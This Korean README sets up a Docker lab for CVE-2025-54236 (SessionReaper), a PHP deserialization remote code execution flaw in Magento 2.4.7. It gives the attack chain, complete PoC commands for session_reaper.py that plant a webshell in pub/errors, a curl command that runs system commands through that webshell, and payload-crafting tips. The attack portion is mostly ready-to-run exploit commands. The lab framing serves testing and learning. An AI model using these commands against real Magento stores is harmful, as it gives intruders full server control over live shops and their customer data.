
CVE-2025-54236 (SessionReaper) 실습 데모를 위한 Docker 환경: Magento Open Source 2.4.7에서 RCE로 이어지는 PHP 객체 역직렬화
CVE-2025-54236(SessionReaper)의 실제 데모를 위한 Docker 환경: Magento Open Source 2.4.7에서 PHP 객체 역직렬화를 통한 RCE.
통제된 환경에서만 사용하십시오. 명시적 권한 없이 시스템에 대해 실행하지 마십시오.
CVE-2025-54236은 Magento Open Source 및 Adobe Commerce 2.4.7 이하 버전에 영향을 미칩니다. ServiceInputProcessor::getConstructorData() 메서드는 JSON을 통해 중첩된 파라미터를 허용하며, 이를 통해 session.save_path(PHP가 세션 파일을 저장하는 폴더)를 덮어쓸 수 있습니다.
공격 체인:
Guzzle/FW1 가젯 체인)이 /customer/address_file/upload를 통해 전송되어 pub/media/customer_address/s/e/sess_<id>에 저장됩니다.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}를 주입합니다.session_start()pub/errors/전제 조건: PHP 세션이 file-based로 구성되어 있어야 합니다(Redis/Memcached 아님).
magento/
├── lab-magento/ # Docker lab (취약한 Magento 2.4.7)
│ ├── Dockerfile # PHP 8.2-FPM with Magento extensions
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # 환경 설정
│ ├── conf/
│ │ ├── nginx/ # Nginx VirtualHost
│ │ └── php/magento.ini # file-based 세션, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # 처음부터 전체 설치
│ └── 02-demo-setup.sh # 제품, 페이로드 준비 및 지침 출력
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # 주요 PoC (작성자: alexb616)
└── payloads/
├── shell.php # 작은따옴표 사용 웹쉘 (JSON 이스케이프 방지)
└── sess_payload.bin # 직렬화된 가젯 체인 (스크립트로 생성)
docker compose)ambionics/phpggc Docker 이미지 사용 가능session_reaper.py는 바이너리를 시스템 PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc에서 찾고, fallback으로 Docker 이미지 ambionics/phpggc를 자동으로 가져옵니다.requests (pip install requests)sudo sysctl -w vm.max_map_count=262144가 필요할 수 있음)cd lab-magento
# 1. 처음부터 Magento 2.4.7 설치 (~25분)
bash scripts/install.sh
install.sh가 수행하는 작업:
composer install --no-dev 실행setup:install을 file-based 세션으로 실행default 모드로 설정 (developer 모드 아님 - PHP 8.2 경고가 예외로 전환되는 것을 방지)setup:static-content:deploy 실행www-data 권한 수정설치 후, 루트 디렉토리(/magento/)에서:
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
RCE 확인:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# 예상 출력: uid=33(www-data) gid=33(www-data) groups=33(www-data)
대체 방법 (address 벡터, 실제 제품 필요):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| 서비스 | URL / 호스트 | 자격 증명 |
|---|---|---|
| Magento 스토어 | http://localhost:8080/ | - |
| Magento 관리자 | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
관리자 URI는 설치 시 무작위로 생성됩니다. 찾으려면:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# 익스플로잇이 생성한 세션
docker exec lab_magento_php ls -la /var/www/html/var/session/
# media/의 악성 세션 파일
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# 실시간 로그
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# 웹쉘 제거
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# 컨테이너 중지
docker compose -f lab-magento/docker-compose.yml down
# 모든 것 삭제 (컨테이너 + 볼륨)
docker compose -f lab-magento/docker-compose.yml down -v
웹쉘에 작은따옴표를 사용하는 이유는?
phpggc Guzzle/FW1은 페이로드를 JSON으로 직렬화합니다: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. PHP 내용은 JSON 인코딩되므로 "는 \"가 됩니다. $_GET["cmd"]를 사용하면 $_GET[\"cmd\"]가 되어 PHP 구문 오류가 발생합니다. 해결책은 작은따옴표로 웹쉘을 작성하는 것입니다: $_GET['cmd'].
default 모드를 사용하고 developer 모드를 사용하지 않는 이유는?
Magento가 developer 모드에서는 모든 PHP 경고를 예외로 변환합니다. PHP 8.2는 lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114에서 Warning: Trying to access array offset on null을 발생시키며, 이는 관리자에서 500 예외가 됩니다. default 모드에서는 경고가 무시됩니다.
파일이 s/e/에 저장되는 이유는?
Magento는 주소 업로드를 pub/media/customer_address/{1번째 문자}/{2번째 문자}/filename으로 구성합니다. sess_* 파일의 경우 첫 번째 문자는 s, 두 번째 문자는 e이므로 항상 pub/media/customer_address/s/e/에 저장됩니다.